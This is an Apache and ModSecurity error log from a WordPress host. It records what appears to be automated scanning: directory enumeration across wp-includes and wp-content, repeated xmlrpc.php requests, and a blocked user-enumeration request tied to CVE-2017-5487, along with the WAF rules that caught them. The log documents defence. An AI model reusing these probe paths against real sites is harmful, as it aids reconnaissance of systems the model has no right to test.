[Thu Mar 19 10:07:37.913586 2026] [autoindex:error] [pid 32226:tid 32233] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/maintenance/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:12.099508 2026] [autoindex:error] [pid 32226:tid 32240] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/paste/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:15.725627 2026] [autoindex:error] [pid 32226:tid 32242] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:26.814320 2026] [autoindex:error] [pid 32226:tid 32232] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:29.626146 2026] [autoindex:error] [pid 32226:tid 32230] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:32.829898 2026] [autoindex:error] [pid 32226:tid 32245] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/directionality/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:36.491695 2026] [autoindex:error] [pid 32226:tid 32234] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:36.731387 2026] [autoindex:error] [pid 32226:tid 32249] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:39.825665 2026] [autoindex:error] [pid 32226:tid 32232] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:41.899747 2026] [autoindex:error] [pid 32226:tid 32244] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:44.866786 2026] [autoindex:error] [pid 32226:tid 32239] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:08:52.910445 2026] [autoindex:error] [pid 32226:tid 32230] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:09:13.649112 2026] [autoindex:error] [pid 25044:tid 25067] [client 209.87.169.45:21063] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/paragraph/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:09:23.709385 2026] [autoindex:error] [pid 3278:tid 3294] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/nux/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:09:26.038802 2026] [autoindex:error] [pid 3278:tid 3286] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/lists/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:09:26.263254 2026] [autoindex:error] [pid 3278:tid 3282] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:10:00.769643 2026] [autoindex:error] [pid 3278:tid 3286] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:10:03.530195 2026] [autoindex:error] [pid 3278:tid 3298] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/social-links/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:10:34.455024 2026] [autoindex:error] [pid 3278:tid 3290] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/Core/Curve25519/Ge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:31.403736 2026] [autoindex:error] [pid 3278:tid 3297] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:31.641129 2026] [autoindex:error] [pid 3278:tid 3303] [client 209.87.169.212:30221] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:31.865964 2026] [autoindex:error] [pid 3278:tid 3288] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:34.724762 2026] [autoindex:error] [pid 3278:tid 3285] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:34.993454 2026] [autoindex:error] [pid 3278:tid 3302] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:42.966161 2026] [autoindex:error] [pid 3278:tid 3286] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2015/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:44.645269 2026] [autoindex:error] [pid 3278:tid 3290] [client 209.87.169.212:30221] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:46.938605 2026] [autoindex:error] [pid 23882:tid 23921] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:54.585266 2026] [autoindex:error] [pid 23882:tid 23926] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-site/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:12:59.027537 2026] [autoindex:error] [pid 23882:tid 23921] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:13:11.012597 2026] [autoindex:error] [pid 23882:tid 23923] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/wordpress/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:13:11.266293 2026] [autoindex:error] [pid 23882:tid 23926] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:13:35.417838 2026] [autoindex:error] [pid 23882:tid 23911] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:13:42.521426 2026] [autoindex:error] [pid 23882:tid 23908] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:13:45.957841 2026] [access_compat:error] [pid 23882:tid 23920] [client 209.87.169.247:34691] AH01797: client denied by server configuration: /home/rcacivils/public_html/wp-content/updraft/
[Thu Mar 19 10:14:01.314292 2026] [autoindex:error] [pid 23882:tid 23926] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:14:01.616071 2026] [autoindex:error] [pid 23882:tid 23923] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:14:21.435697 2026] [autoindex:error] [pid 23882:tid 23908] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/gallery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:14:21.689181 2026] [autoindex:error] [pid 23882:tid 23917] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:14:49.625455 2026] [autoindex:error] [pid 23882:tid 23908] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2014/07/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:14:51.502000 2026] [autoindex:error] [pid 23882:tid 23915] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/block-library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:14:51.745975 2026] [autoindex:error] [pid 23882:tid 23902] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:15:08.554513 2026] [autoindex:error] [pid 23882:tid 23906] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:15:08.784516 2026] [autoindex:error] [pid 23882:tid 23920] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:15:09.040996 2026] [autoindex:error] [pid 23882:tid 23902] [client 209.87.169.247:34691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:40:15.356578 2026] [:error] [pid 23884:tid 23960] [client 60.188.57.0:39612] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abtiD16St-VCdOYnZMosVgAAAIQ"]
[Thu Mar 19 12:46:31.370452 2026] [:error] [pid 24925:tid 24935] [client 43.130.72.177:60560] [client 43.130.72.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abt_p_UZEHbnUgjEbWNlUQAAAYY"]
[Thu Mar 19 12:54:15.405757 2026] [:error] [pid 24971:tid 24999] [client 154.16.49.101:7399] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abuBd_UcWA7YXQC7dRvavwAAAlg"]
[Thu Mar 19 12:54:15.898078 2026] [:error] [pid 23882:tid 23924] [client 154.16.49.101:7638] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/license.txt"] [unique_id "abuBd7WnClbtbN12M7-UbQAAABY"]
[Thu Mar 19 12:54:16.390322 2026] [:error] [pid 25135:tid 25160] [client 154.16.49.101:7957] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feed/"] [unique_id "abuBeKKtE0dzgMctjFXt1wAAA1c"]
[Thu Mar 19 13:30:42.421425 2026] [:error] [pid 25135:tid 25158] [client 139.135.49.24:19451] [client 139.135.49.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.135.49.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuKAqKtE0dzgMctjFX-NwAAA1U"]
[Thu Mar 19 13:42:20.436911 2026] [:error] [pid 25135:tid 25151] [client 202.53.14.108:54608] [client 202.53.14.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.53.14.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuMvKKtE0dzgMctjFUENwAAA04"]
[Thu Mar 19 13:51:38.516377 2026] [:error] [pid 11015:tid 11056] [client 202.53.14.108:59048] [client 202.53.14.108] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abuO6vPcMwFQZAVfzLT_7gAAAIo"]
[Thu Mar 19 13:53:04.549254 2026] [:error] [pid 11016:tid 11074] [client 202.53.14.108:59944] [client 202.53.14.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.53.14.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuPQBPK94J9G19C6uXIWwAAAQE"]
[Thu Mar 19 13:54:07.381041 2026] [:error] [pid 11110:tid 11131] [client 118.185.6.37:60631] [client 118.185.6.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.185.6.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuPfwSNPqGfikw7k8ItFwAAABA"]
[Thu Mar 19 13:55:05.034056 2026] [:error] [pid 11110:tid 11126] [client 202.53.14.108:61270] [client 202.53.14.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.53.14.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuPuQSNPqGfikw7k8It3AAAAAs"]
[Thu Mar 19 13:56:09.906549 2026] [:error] [pid 11016:tid 11081] [client 118.185.6.37:62032] [client 118.185.6.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.185.6.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuP-RPK94J9G19C6uXJ8AAAAQg"]
[Thu Mar 19 13:57:10.976657 2026] [:error] [pid 11014:tid 11033] [client 202.53.14.108:62756] [client 202.53.14.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.53.14.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuQNjBVizvrAl0DfCC-UAAAAE4"]
